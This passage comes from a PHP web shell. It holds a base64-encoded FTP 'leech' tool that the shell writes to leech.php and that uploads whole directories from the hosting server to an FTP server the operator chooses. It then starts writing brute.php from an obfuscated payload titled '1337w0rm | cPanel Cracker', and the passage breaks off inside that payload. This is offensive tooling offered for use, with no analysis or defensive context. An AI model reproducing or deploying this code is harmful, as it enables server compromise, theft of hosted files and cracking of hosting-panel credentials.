dXQ9InZhciBUYW09dGhpcy5jaGlsZE5vZGVzO2ZvcihpPTA7aTxUYW0ubGVuZ3RoO2krKylUYW1baV0uY2xhc3NOYW1lPScnIj4KCgkJCQk8dGQgd2lkdGg9IjIwcHgiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iTHVhQ2hvbiIgdmFsdWU9Ijw/PSRHaWFUcmk/PiIgLz48L3RkPgoKCQkJCTx0ZCB3aWR0aD0iNDAlIj48YSBzdHlsZT0iY29sb3I6I0IxOTQyRSIgaHJlZj0iP01vPVRodU11YyZUaHVNdWM9PD89JF9QT1NUWydUaHVNdWMnXS4nLycuJEdpYVRyaT8+Ij7ilro8Pz0kR2lhVHJpPz48L2E+PC90ZD4KCgkJCQk8dGQgd2lkdGg9IjEwJSIgYWxpZ249ImNlbnRlciIgc3R5bGU9ImNvbG9yOiNCMTk0MkUiPlRoxrAgbeG7pWM8L3RkPgoKCQkJCTx0ZCBhbGlnbj0icmlnaHQiIHdpZHRoPSIxMCUiPjA8L3RkPgoKCQkJCTx0ZCB3aWR0aD0iMTAlIj5LQjwvdGQ+CgoJCQkJPHRkIHdpZHRoPSIxMCUiIGFsaWduPSJjZW50ZXIiPjw/PXN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ1RodU11YyddLicvJy4kR2lhVHJpKSksIC00KT8+PC90ZD4KCgkJCQk8dGQgd2lkdGg9IjIwJSI+PD89ZGF0ZSgnRCBkIFkgLSBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsnVGh1TXVjJ10uJy8nLiRHaWFUcmkpKT8+PC90ZD4KCgkJCTwvdHI+CgoJCQkJPD8KCgkJCX0KCgkJfQoKCQkvL0xp4buHdCBrw6ogbmjhu69uZyB04bqtcCB0aW4ga2jDoWMKCgkJZm9yZWFjaCgkRGFuaFNhY2ggYXMgJEdpYVRyaSkKCgkJewoKCQkJaWYgKCFpc19kaXIoJF9QT1NUWydUaHVNdWMnXS4nLycuJEdpYVRyaSkpCgoJCQl7CgoJCQkJPz4KCgkJCTx0ciBvbm1vdXNlb3Zlcj0idmFyIFRhbT10aGlzLmNoaWxkTm9kZXM7Zm9yKGk9MDtpPFRhbS5sZW5ndGg7aSsrKVRhbVtpXS5jbGFzc05hbWU9J09uJyIgb25tb3VzZW91dD0idmFyIFRhbT10aGlzLmNoaWxkTm9kZXM7Zm9yKGk9MDtpPFRhbS5sZW5ndGg7aSsrKVRhbVtpXS5jbGFzc05hbWU9JyciPgoKCQkJCTx0ZCB3aWR0aD0iMjBweCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJMdWFDaG9uIiB2YWx1ZT0iPD89JEdpYVRyaT8+Ij48L3RkPgoKCQkJCTx0ZCB3aWR0aD0iNDAlIj48YSBzdHlsZT0iY29sb3I6I0IxOTQyRSIgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Ijw/PSRfUE9TVFsnVGh1TXVjJ10uJy8nLiRHaWFUcmk/PiI+PD89JEdpYVRyaT8+PC9hPjwvdGQ+CgoJCQkJPHRkIHdpZHRoPSIxMCUiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJjb2xvcjojQjE5NDJFIj5U4bqtcCB0aW48L3RkPgoKCQkJCTx0ZCBhbGlnbj0icmlnaHQiIHdpZHRoPSIxMCUiPjw/PXJvdW5kKGZpbGVzaXplKCRfUE9TVFsnVGh1TXVjJ10uJy8nLiRHaWFUcmkpLzEwMjQsMik/PjwvdGQ+CgoJCQkJPHRkIHdpZHRoPSIxMCUiPktCPC90ZD4KCgkJCQk8dGQgd2lkdGg9IjEwJSIgYWxpZ249ImNlbnRlciI+PD89c3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsnVGh1TXVjJ10uJy8nLiRHaWFUcmkpKSwgLTQpPz48L3RkPgoKCQkJCTx0ZCB3aWR0aD0iMjAlIj48Pz1kYXRlKCdEIGQgWSAtIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydUaHVNdWMnXS4nLycuJEdpYVRyaSkpPz48L3RkPgoKCQkJPC90cj4KCgkJCQk8PwoKCQkJfQoKCQl9CgoJCT8+CgoJCTwvdGFibGU+CgoJPC9kaXY+CgoJPGNlbnRlcj4KCgkJPGk+Q29weXJpZ2h0IDIwMTAgYnkgSVRSYXVzPC9pPjwvY2VudGVyPgoKPC9ib2R5PgoKPC9odG1sPgoKCQk8PwoKCQlicmVhazsKCgkKCgljYXNlICdDaHV5ZW5EaSc6IC8vQ2h1eeG7g24gdOG6rXAgdGluIGhv4bq3YyB0aMawIG3hu6VjIHNhbmcgxJHhu4thIGNo4buJIGtow6FjCgoJCSRfU0VTU0lPTlsnRGlhQ2hpJ109JF9QT1NUWydEaWFDaGknXTsKCgkJJF9TRVNTSU9OWydUZW5EYW5nTmhhcCddPSRfUE9TVFsnVGVuRGFuZ05oYXAnXTsKCgkJJF9TRVNTSU9OWydNYXRLaGF1J109JF9QT1NUWydNYXRLaGF1J107CgoJCQoKCQkkQ2h1eWVuRGktPkNodXllbigkX1BPU1RbJ0RpYUNoaSddLCRfUE9TVFsnVGVuRGFuZ05oYXAnXSwkX1BPU1RbJ01hdEtoYXUnXSwkX1BPU1RbJ1RhcFRpbiddLCRfUE9TVFsnVHVUaHVNdWMnXSwkX1BPU1RbJ0RlblRodU11YyddKTsKCgkJYnJlYWs7Cgp9CgoKCi8qKiBQaOG6p24gdGjhu7FjIHRoaSBjaMOtbmggKi8KCgoKY2xhc3MgQ2h1eWVuRGkKCnsKCglmdW5jdGlvbiBEYW5oU2FjaCgkVGh1TXVjKSAvL0zhuqV5IGRhbmggc8OhY2ggcGjhuqduIHThu60gY+G7p2EgbeG7mXQgdGjGsCBt4bulYyB0cuG6oyB24buBIGRhbmcgbeG6o25nCgoJewoKCQkkVGh1TXVjPW9wZW5kaXIoJFRodU11Yyk7CgoJCXdoaWxlKCRUaGFuaFBoYW49cmVhZGRpcigkVGh1TXVjKSkKCgkJewoKCQkJJEtldFF1YVtdPSRUaGFuaFBoYW47CgoJCX0KCgkJc29ydCgkS2V0UXVhKTsKCgkJcmV0dXJuICRLZXRRdWE7CgoJfQoKCQoKCS8vQ2h1eeG7g24gdOG7m2kgxJHhu4thIGNo4buJIG3hu5tpIHbDoG8gdGjGsCBt4bulYyAkRGVuVGh1TXVjCgoJZnVuY3Rpb24gQ2h1eWVuKCREaWFDaGksJFRlbkRhbmdOaGFwLCRNYXRLaGF1LCRUYXBUaW4sJFR1VGh1TXVjLCREZW5UaHVNdWMpCgoJewoKCQkvL0vhur90IG7hu5FpIHbDoCBraeG7g20gdHJhIMSRxINuZyBuaOG6rXAKCgkJJHRoaXMtPktldE5vaT1AZnRwX2Nvbm5lY3QoJERpYUNoaSk7CgoJCWlmICghQGZ0cF9sb2dpbigkdGhpcy0+S2V0Tm9pLCRUZW5EYW5nTmhhcCwkTWF0S2hhdSkpCgoJCXsKCgkJCWVjaG8gJ0tow7RuZyDEkcSDbmcgbmjhuq1wIMSRxrDhu6NjIHbDoG8gdMOgaSBraG/huqNuIEZUUCEnOwoKCQkJcmV0dXJuIGZhbHNlOwoKCQl9CgoJCS8vRHV54buHdCBxdWEgY8OhYyB0aMawIG3hu6VjIHThuq1wIHRpbgoKCQkkVGFwVGluPWV4cGxvZGUoJzsnLCRUYXBUaW4pOwoKCQlhcnJheV9wb3AoJFRhcFRpbik7CgoJCWZvcmVhY2goJFRhcFRpbiBhcyAkR2lhVHJpKQoKCQl7CgoJCQkvL07hur91IGzDoCB0aMawIG3hu6VjIHRow6wgY2h1eeG7g24gaOG6v3QgdG/DoG4gYuG7mSBuaOG7r25nIGfDrCB0cm9uZyB0aMawIG3hu6VjIMSRw7MKCgkJCWlmIChpc19kaXIoJFR1VGh1TXVjLicvJy5zdHJpcHNsYXNoZXMoJEdpYVRyaSkpKQoKCQkJewoKCQkJCWVjaG8gJzxiciAvPjxiciAvPlThuqFvIHRoxrAgbeG7pWMgPGIgc3R5bGU9ImNvbG9yOmdyZWVuIj4nLCRHaWFUcmksJzwvYj4nOwoKCQkJCSR0aGlzLT5fQ2h1eWVuKCRUdVRodU11Yy4nLycuJEdpYVRyaSwkRGVuVGh1TXVjLicvJy4kR2lhVHJpKTsKCgkJCX0KCgkJCS8vTuG6v3UgbMOgIHThuq1wIHRpbiB0aMOsIGNodXnhu4NuIHRow7RuZyB0aMaw4budbmcKCgkJCWVsc2UKCgkJCXsKCgkJCQllY2hvICc8YnI+xJBhbmcgY2h1eeG7g24gdOG6rXAgdGluIDxiPicsc3RyaXBzbGFzaGVzKCRHaWFUcmkpLic8L2I+IC0gJzsKCgkJCQlvYl9mbHVzaCgpOwoKCQkJCWZsdXNoKCk7CgoJCQkJCgoJCQkJaWYgKEBmdHBfZnB1dCgkdGhpcy0+S2V0Tm9pLCREZW5UaHVNdWMuJy8nLnN0cmlwc2xhc2hlcygkR2lhVHJpKSxmb3BlbigkVHVUaHVNdWMuJy8nLnN0cmlwc2xhc2hlcygkR2lhVHJpKSwncicpLEZUUF9CSU5BUlkpKQoKCQkJCXsKCgkJCQkJZWNobyAnPGIgc3R5bGU9ImNvbG9yOm9yYW5nZSI+xJDDoyBjaHV54buDbjwvYj4gJyxzdHJpcHNsYXNoZXMoJEdpYVRyaSksJyAtICcsZmlsZXNpemUoJFR1VGh1TXVjLicvJy5zdHJpcHNsYXNoZXMoJEdpYVRyaSkpPT0wID8gMTAwIDogZnRwX3NpemUoJHRoaXMtPktldE5vaSwkRGVuVGh1TXVjLicvJy5zdHJpcHNsYXNoZXMoJEdpYVRyaSkpL2ZpbGVzaXplKCRUdVRodU11Yy4nLycuc3RyaXBzbGFzaGVzKCRHaWFUcmkpKSoxMDAsJyUnOwoKCQkJCX0KCgkJCQllbHNlCgoJCQkJewoKCQkJCQllY2hvICc8YiBzdHlsZT0iY29sb3I6cmVkIj5LaMO0bmcgdGjhu4MgY2h1eeG7g248L2I+JzsKCgkJCQl9CgoJCQl9CgoJCQllY2hvICc8c2NyaXB0PmRvY3VtZW50LmJvZHkuc2Nyb2xsVG9wPWRvY3VtZW50LmJvZHkuc2Nyb2xsSGVpZ2h0PC9zY3JpcHQ+JzsKCgkJCW9iX2ZsdXNoKCk7CgoJCQlmbHVzaCgpOwoKCQl9CgoJfQoKCQoKCWZ1bmN0aW9uIF9DaHV5ZW4oJFRodU11YywkQ2h1eWVuRGVuKSAvL0NodXnhu4NuIMSR4buHIHF1eSB0aMawIG3hu6VjCgoJewoKCQkvL1ThuqFvIHRoxrAgbeG7pWMgdHLDqm4gbcOheSBjaOG7pyBt4bubaQoKCQlAZnRwX21rZGlyKCR0aGlzLT5LZXROb2ksJENodXllbkRlbik7CgoJCSREYW5oU2FjaD0kdGhpcy0+RGFuaFNhY2goJFRodU11Yyk7CgoJCS8vRHV54buHdCBxdWEgdGjGsCBt4bulYyAkVGh1TXVjCgoJCWZvcmVhY2goJERhbmhTYWNoIGFzICRHaWFUcmkpCgoJCXsKCgkJCS8vTuG6v3UgZ+G6t3AgdGjGsCBt4bulYyB0aMOsIGNodXnhu4NuIHRp4bq/cAoKCQkJaWYgKGlzX2RpcigkVGh1TXVjLicvJy4kR2lhVHJpKSAmJiAkR2lhVHJpIT0nLi4nICYmICRHaWFUcmkhPScuJykKCgkJCXsKCgkJCQllY2hvICc8YnIgLz48YnIgLz5U4bqhbyB0aMawIG3hu6VjIDxiIHN0eWxlPSJjb2xvcjpncmVlbiI+JywkR2lhVHJpLCc8L2I+JzsKCgkJCQkkdGhpcy0+X0NodXllbigkVGh1TXVjLicvJy4kR2lhVHJpLCRDaHV5ZW5EZW4uJy8nLiRHaWFUcmkpOwoKCQkJfQoKCQkJLy9DaHV54buDbiB04bqtcCB0aW4gdGjDtG5nIHRoxrDhu51uZwoKCQkJZWxzZWlmICgkR2lhVHJpIT0nLi4nICYmICRHaWFUcmkhPScuJykKCgkJCXsKCgkJCQllY2hvICc8YnI+xJBhbmcgY2h1eeG7g24gdOG6rXAgdGluIDxiPicsc3RyaXBzbGFzaGVzKCRHaWFUcmkpLic8L2I+IC0gJzsKCgkJCQlvYl9mbHVzaCgpOwoKCQkJCWZsdXNoKCk7CgoJCQkJCgoJCQkJaWYgKEBmdHBfZnB1dCgkdGhpcy0+S2V0Tm9pLCRDaHV5ZW5EZW4uJy8nLnN0cmlwc2xhc2hlcygkR2lhVHJpKSxmb3BlbigkVGh1TXVjLicvJy5zdHJpcHNsYXNoZXMoJEdpYVRyaSksJ3InKSxGVFBfQklOQVJZKSkKCgkJCQl7CgoJCQkJCWVjaG8gJzxiIHN0eWxlPSJjb2xvcjpvcmFuZ2UiPsSQw6MgY2h1eeG7g248L2I+ICcsc3RyaXBzbGFzaGVzKCRHaWFUcmkpLCcgLSAnLGZpbGVzaXplKCRUaHVNdWMuJy8nLnN0cmlwc2xhc2hlcygkR2lhVHJpKSk+MCA/IGZ0cF9zaXplKCR0aGlzLT5LZXROb2ksJENodXllbkRlbi4nLycuc3RyaXBzbGFzaGVzKCRHaWFUcmkpKS9maWxlc2l6ZSgkVGh1TXVjLicvJy5zdHJpcHNsYXNoZXMoJEdpYVRyaSkpKjEwMCA6IDEwMCwnJSc7CgoJCQkJfQoKCQkJCWVsc2UKCgkJCQl7CgoJCQkJCWVjaG8gJzxiIHN0eWxlPSJjb2xvcjpyZWQiPktow7RuZyB0aOG7gyBjaHV54buDbiE8L2I+JzsKCgkJCQl9CgoJCQl9CgoJCQllY2hvICc8c2NyaXB0PmRvY3VtZW50LmJvZHkuc2Nyb2xsVG9wPWRvY3VtZW50LmJvZHkuc2Nyb2xsSGVpZ2h0PC9zY3JpcHQ+JzsKCgkJCW9iX2ZsdXNoKCk7CgoJCQlmbHVzaCgpOwoKCQl9CgoJfQoKfQoKCgo/Pg==
1309';
1310 $file = fopen("leech.php", "w+");
1311 $write = fwrite($file, base64_decode($perltoolss));
1312 fclose($file);
1313 echo "<iframe src=leech.php width=100% height=720px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1314} elseif ($action == 'brute') {
1315 $file = fopen($dir . "brute.php", "w+");
1316 $perltoolss = 'PD9waHAgJHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJ5XHg3NFx4NzFceDczaVx4NjRceDYydXdceDYyIl09InVzIjskeyJceDQ3TFx4NGZCXHg0MUxTIn1bImZceDc5Z2ZceDc3XHg2Nlx4NzBceDcwIl09Ilx4NjMiOyR7IkdMXHg0ZkJBXHg0Y1MifVsieFx4NzNzdWtceDY1XHg3NFx4NjhceDZjXHg3OCJdPSJjXHg2Zlx4NmVmaVx4Njd1XHg3Mlx4NjFceDc0XHg2OVx4NmZuIjskeyJceDQ3TE9CXHg0MVx4NGNTIn1bInpceDZlbFx4NjZjXHg2NyJdPSJceDYzXHg2Zlx4NmVceDczeVx4NmQiOyR7IkdMXHg0Zlx4NDJceDQxTFMifVsieFx4NzJceDZlXHg3MnFceDZlXHg2NVx4NjVxeVx4NjZceDZlIl09Ilx4NjRceDY5XHg3MiI7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJceDc5XHg3OVx4NzhwXHg2N1x4NzRceDY5XHg2NmIiXT0iXHg3Mlx4NzQiOyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg3M2FceDY2XHg3M1x4NmVzXHg3MFx4NzRxIl09Ilx4NjciOyR7Ilx4NDdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2Zlx4NzRceDZkXHg3NndceDc1XHg3OXIiXT0iXHg3NVx4NzNceDY1XHg3Mlx4NzMiOyR7IkdMXHg0ZkJBXHg0Y1x4NTMifVsiblx4NjZkXHg2ZVx4NjlceDc5ZSJdPSJceDZjXHg2OVx4NmVceDZiIjskeyJceDQ3TFx4NGZceDQyXHg0MUxTIn1bIlx4NmNceDY3XHg2M1x4NmRra2oiXT0iXHg3Mlx4NzIiOyR7IkdceDRjXHg0ZkJBXHg0Y1MifVsiXHg3NVx4NzVvZVx4NmNceDY0XHg2Y1x4NjhceDZlIl09Ilx4NzIiOyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3MnNoZnJlc2xceDY4XHg2ZHgiXT0iXHg3M1x4NjFceDY2XHg2NV9ceDZkXHg2Zlx4NjRceDY1IjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIm1ceDZhXHg2YWpceDczXHg3OWMiXT0iXHg3M2FmXHg2NVx4NWZtXHg2ZmRceDY1IjskeyJceDQ3TE9ceDQyXHg0MVx4NGNTIn1bIlx4NjhceDcycVx4NzBceDZhXHg2YyJdPSJwXHg2MVx4NzNzIjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNTIn1bIlx4NmRwXHg2Ylx4NzF6XHg2MnVceDY0XHg3OXNceDY1Il09InVceDczZVx4NzIiOyR7IkdMXHg0Zlx4NDJceDQxTFMifVsiXHg3M3JceDcwdVx4NjNceDYzXHg3NW5nIl09ImExIjskeyJceDQ3XHg0Y09ceDQyXHg0MUxTIn1bIlx4NmJceDcwbVx4NjJceDcyXHg2Zlx4NjQiXT0ib2siOyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg3Mlx4NzJceDZiXHg2Nlx4NzZceDc1eVx4NzQiXT0iXHg2OVx4NjQyIjskeyJHXHg0Y1x4NGZceDQyQUxTIn1bIlx4N2FceDZkXHg2NVx4NzJsXHg2N1x4N2FrIl09Ilx4NjEyIjskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmNceDczY2NceDc4XHg3Mm5ceDYyXHg2OHciXT0iXHg3NXNceDY1XHg3Mm5hXHg2ZFx4NjUiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2ZmlceDYyXHg2Mlx4NjZ1XHg2M1x4NjRceDYzIl09Ilx4NzZhbFx4NzVlIjskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NzVceDYzblx4NjlceDYyZ3lceDY3XHg2NFx4NzEiXT0iXHg2NSI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJqXHg2ZVx4NzdceDc0XHg2NFx4NmFlXHg2MiJdPSJhXHg3NHQiOyR7IkdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsicVx4NmZ3XHg2NVx4NzNceDY0cCJdPSJceDczXHg2MWhceDYxXHg2M1x4NmJceDY1XHg3MiI7JHsiXHg0N1x4NGNPQlx4NDFMXHg1MyJ9WyJceDc0XHg3Nm9pXHg2NHNceDc0Il09Ilx4NzBceDYxdFx4NjhceDYzXHg2Y1x4NjFceDczXHg3MyI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJ0XHg3MFx4NzlldFx4NmNyIl09ImZceDcwIjskeyJceDQ3TE9ceDQyXHg0MUxceDUzIn1bIlx4NmNceDc2XHg3NFx4NjZceDZhXHg2OXNceDZiXHg3NyJdPSJjb1x4NjRlIjskeyJceDQ3XHg0Y09CXHg0MUxceDUzIn1bIlx4NzNceDZiem1ceDZhXHg3MFx4NzlceDY3XHg2MmRceDYyIl09Ilx4NzJceDY1cyI7JHsiXHg0N1x4NGNPQlx4NDFMXHg1MyJ9WyJwXHg3N1x4NjRceDY2XHg3Nlx4NzBceDZlXHg2OWRceDY0Il09ImFyIjskeyJHXHg0Y09ceDQyXHg0MVx4NGNTIn1bIlx4NzNceDcxb1x4NzdceDYzcVx4NzgiXT0iXHg3Nlx4NjFceDZjXHg3NWVceDczIjskeyJHXHg0Y09ceDQyQVx4NGNceDUzIn1bIlx4NzdjXHg2N1x4NzJceDZibCJdPSJrXHg2NVx4NzlzIjskeyJceDQ3XHg0Y09CXHg0MUxTIn1bIlx4Njl2a1x4NzZ0XHg2OVx4NjRuXHg2ZSJdPSJceDZldVx4NmQiOyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiYlx4NzRceDc5XHg2N1x4NzdceDZjdSJdPSJceDcxXHg3NVx4NjVceDcyXHg3OXMiOyR7Ilx4NDdceDRjT0JceDQxXHg0Y1MifVsiXHg3OVx4NzVpXHg3MmRceDYzXHg2NVx4NjhceDcydnUiXT0iXHg3M1x4NzFceDZjIjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmRceDZlXHg2ZHpceDcydFx4NjRsXHg3MyJdPSJceDY4XHg2NVx4NjFceDY0IjskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bImtceDY3XHg2YXJqXHg3OFx4NzFceDczXHg2MiJdPSJtXHg2OVx4NmRceDY1X1x4NzRceDc5XHg3MGUiOyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg3N3FceDcwXHg3N1x4NzlceDY0XHg3NFx4NmQiXT0iXHg2M1x4NmZceDZlXHg3NFx4NjVudF9ceDY1XHg2ZVx4NjNvXHg2NFx4NjlceDZlZyI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDZiXHg2Zlx4NzJceDY4a2htXHg2NWdceDZlXHg3NCJdPSJceDY2aVx4NmNlZFx4NzVtcCI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDczXHg3N1x4NzNyXHg2Zlx4NzdtIl09ImZceDY5bGVuYVx4NmRceDY1IjskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NzJceDc0cm5ceDZkXHg3M3dceDcyZ2JceDc0Il09Ilx4NjZpXHg2Y1x4NjUiOyR7Ilx4NDdMXHg0Zlx4NDJBTFx4NTMifVsiXHg3OG1jXHg2OFx4NzhceDc3XHg3M1x4NzByIl09Ilx4NzYiOyR7IkdMXHg0Zlx4NDJBXHg0Y1MifVsiXHg2Zlx4NzlrXHg3M3NsanRceDc2XHg2Y3oiXT0iXHg2YiI7JHsiXHg0N1x4NGNPXHg0MkFceDRjUyJ9WyJceDczXHg3YVx4NjZ5XHg2YW9ceDcwIl09ImkiOyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg3NVx4NmZceDcxZ1x4NzBuXHg3OG9iXHg2OVx4NzFoIl09Ilx4NzRceDYxXHg2Mlx4NmNlIjskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bImZceDYyXHg2MVx4NjdceDc4b1x4NjlceDZkY1x4NjYiXT0iXHg3MXVceDY1cnkiOyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsialx4NzVceDc4XHg3M1x4NjJceDcwIl09Ilx4NjVceDcyXHg3Mlx4NmZceDcyIjskeyJceDQ3XHg0Y09CQUxceDUzIn1bInNceDY3XHg3OVx4NmJceDZmZ1x4NjdceDZjXHg2ZXJceDY0Il09InN0XHg3MiI7JHsiR0xPXHg0MkFceDRjXHg1MyJ9WyJceDcwXHg2OHltXHg3YVx4NjlzXHg3NFx4NzVceDc1XHg3MSJdPSJjXHg2OGVceDYzXHg2Ylx4NjVceDY0IjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NjhceDcyc3dceDc3clx4NjNceDcwXHg3Mlx4NzciXT0iXHg3Mlx4NjVceDc0IjskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNTIn1bIlx4Nzd1XHg3OVx4NzN0cnQiXT0idFx4NzlceDcwZSI7ZWNobyAiXHgzY1x4Njh0XHg2ZFx4NmNceDNlXG48dFx4Njl0bFx4NjVceDNlXHgzMVx4MzMzXHgzN3cwXHg3Mlx4NmRceDIwfCBjUFx4NjFceDZlXHg2NWxceDIwXHg0M3JceDYxY1x4NmJceDY1XHg3Mlx4M2MvdFx4NjlceDc0bFx4NjVceDNlXG5ceDNjbVx4NjV0XHg2MSBceDY4dFx4NzRwLVx4NjVceDcxdWlceDc2XHgzZFx4MjJceDQzXHg2Zm5ceDc0XHg2NVx4NmVceDc0LVR5cFx4NjVceDIyXHgyMFx4NjNceDZmXHg2ZXRlblx4NzQ9XHgyMnRlXHg3OFx4NzQvXHg2OFx4NzRceDZkbFx4M2IgXHg2M1x4NjhhcnNceDY1dD11XHg3NFx4NjYtXHgzOFx4MjJceDIwLz5cbiI7QHNldF90aW1lX2xpbWl0KDApO0BlcnJvcl9yZXBvcnRpbmcoMCk7ZWNobyJceDNjaFx4NjVceDYxZD5cblxuPHNceDc0eWxlPlxuXHQgXHgyMCAgXG5cdCBceDIwIFx4MjAvKlx4MjBSXHg2NXRuT0hceDYxY0sgMlx4MzBceDMxM1x4MjAqL1xuXG5cblx4MjAgICAgXHgyMCBceDIwICAgXHgyMGJvXHg2NHl7Y1x4NmZsb1x4NzI6I1x4MzY2XHg0NkYwXHgzMFx4M2IgZm9uXHg3NC1ceDczaVx4N2FlOlx4MjBceDMxXHgzMnBceDc4O1x4MjBceDY2XHg2Zm5ceDc0LVx4NjZhXHg2ZGlceDZjeTogc1x4NjVyaVx4NjZceDNiXHgyMGJceDYxY1x4NmJceDY3XHg3Mm9ceDc1XHg2ZWQtY1x4NmZsXHg2Zlx4NzI6IGJceDZjYVx4NjNceDZiXHgzYiBiXHg2MVx4NjNceDZiXHg2N3JceDZmXHg3NVx4NmVkLWlceDZkYWdceDY1OiB1XHg3MmwoXHg2OFx4NzRceDc0cDovL3dceDc3dy53YVx4NmNsXHg3M1x4NjF2XHg2NS5jXHg2Zm0vd1x4NjFceDZjbHBceDYxXHg3MGVceDcycy9ceDMxOVx4MzJceDMweFx4MzFceDMwODAvXHg2MVx4NmNceDY5XHg2NVx4NmUtXHg2ZVx4NjF0dXJlL1x4MzYwMTFceDM0XHgzNy9hbFx4NjllXHg2ZS1uXHg2MXR1clx4NjUtXHg2ZGF0cml4LTZceDMwMVx4MzE0XHgzNy5qcFx4NjcpO1xuXHRcdFx0XHRceDYyYWNrZ1x4NzJceDZmdVx4NmVkLVx4NzJceDY1XHg3MFx4NjVceDYxdDpceDIwbm8tclx4NjVceDcwXHg2NVx4NjF0XHgzYlxuXHRcdFx0XHRiXHg2MVx4NjNceDZiZ1x4NzJvXHg3NW5kLXBceDZmXHg3M1x4NjlceDc0XHg2OVx4NmZuOiBceDYyb3RceDc0XHg2Zm1ceDNiIH1cblx4MjAgXHgyMFx4MjAgXHgyMFx4MjAgICBceDIwIHRceDY0XHgyMHtceDYyb3JkZVx4NzI6XHgyMDFceDcwXHg3OFx4MjBceDczb1x4NmNpZFx4MjBceDIzXHgzMFx4MzBceDQ2Rlx4MzAwXHgzYiBceDYyXHg2MWNceDZiZ1x4NzJvXHg3NVx4NmVkLWNceDZmXHg2Y1x4NmZceDcyOlx4MjMwMDFmXHgzMDA7XHgyMHBceDYxZGRpblx4Njc6IDJweDsgZm9ceDZldC1ceDczXHg2OVx4N2FlOiAxXHgzMnBceDc4OyBceDYzXHg2Zlx4NmNceDZmXHg3MjogXHgyMzNceDMzRlx4NDYwXHgzMDt9XG4gICAgXHgyMCBceDIwXHgyMFx4MjBceDIwIFx4MjB0ZDpoXHg2Zlx4NzZlXHg3MntiYWNrXHg2N1x4NzJceDZmdVx4NmVceDY0LWNceDZmXHg2Y29ceDcyOlx4MjBceDYybGFceDYzXHg2Ylx4M2IgXHg2M29ceDZjb3I6ICNceDMzM1x4NDZceDQ2XHgzMFx4MzBceDNifVxuXHgyMCBceDIwXHgyMCAgXHgyMFx4MjBceDIwICAgXHg2OW5ceDcwXHg3NXR7YmFceDYzXHg2Ylx4Njdyb1x4NzVuXHg2NC1ceDYzb1x4NmNvXHg3MjogYlx4NmNhY1x4NmI7XHgyMFx4NjNceDZmbFx4NmZyOiBceDIzXHgzMFx4MzBGXHg0Nlx4MzAwO1x4MjBceDYyXHg2ZnJceDY0XHg2NXI6XHgyMDFwXHg3OCBceDczXHg2ZmxceDY5XHg2NFx4MjBceDcyZWQ7fVxuICAgXHgyMFx4MjAgICAgICAgXHg2OW5wXHg3NXQ6XHg2OFx4NmZceDc2XHg2NVx4NzJ7YmFjXHg2YmdceDcyXHg2Zlx4NzVceDZlZC1ceDYzXHg2Zlx4NmNceDZmXHg3MjogIzBceDMwXHgzNjYwXHgzMDt9XG4gIFx4MjBceDIwXHgyMFx4MjBceDIwIFx4MjBceDIwIFx4MjBceDc0ZXhceDc0XHg2MVx4NzJceDY1XHg2MXtceDYyXHg2MVx4NjNrZ1x4NzJvXHg3NW5ceDY0LVx4NjNvbFx4NmZceDcyOlx4MjBceDYybFx4NjFja1x4M2JceDIwXHg2M29ceDZjXHg2Zlx4NzI6ICMwMFx4NDZceDQ2XHgzMFx4MzA7XHgyMFx4NjJceDZmXHg3MmRceDY1cjpceDIwXHgzMXB4IFx4NzNvbFx4NjlceDY0XHgyMHJlZDt9XG5ceDIwXHgyMCBceDIwICAgXHgyMCBceDIwIFx4MjBceDYxXHgyMHtceDc0ZXhceDc0LVx4NjRlY1x4NmZceDcyYVx4NzRceDY5XHg2Zlx4NmU6XHgyMFx4NmVvblx4NjU7IGNvbFx4NmZyOiAjNjZGRjBceDMwOyBmXHg2Zlx4NmVceDc0LVx4NzdceDY1aVx4NjdceDY4dDpceDIwYlx4NmZsZFx4M2J9XG5ceDIwICAgXHgyMCBceDIwIFx4MjBceDIwXHgyMCBceDYxOlx4NjhvXHg3NmVceDcyIHtceDYzb2xvcjpceDIwXHgyM1x4MzBceDMwRlx4NDZceDMwXHgzMDt9XG4gIFx4MjBceDIwXHgyMFx4MjAgIFx4MjBceDIwXHgyMCBzZWxlY3R7XHg2MmFceDYza2dyb1x4NzVuXHg2NC1ceDYzXHg2ZmxvcjpceDIwYlx4NmNceDYx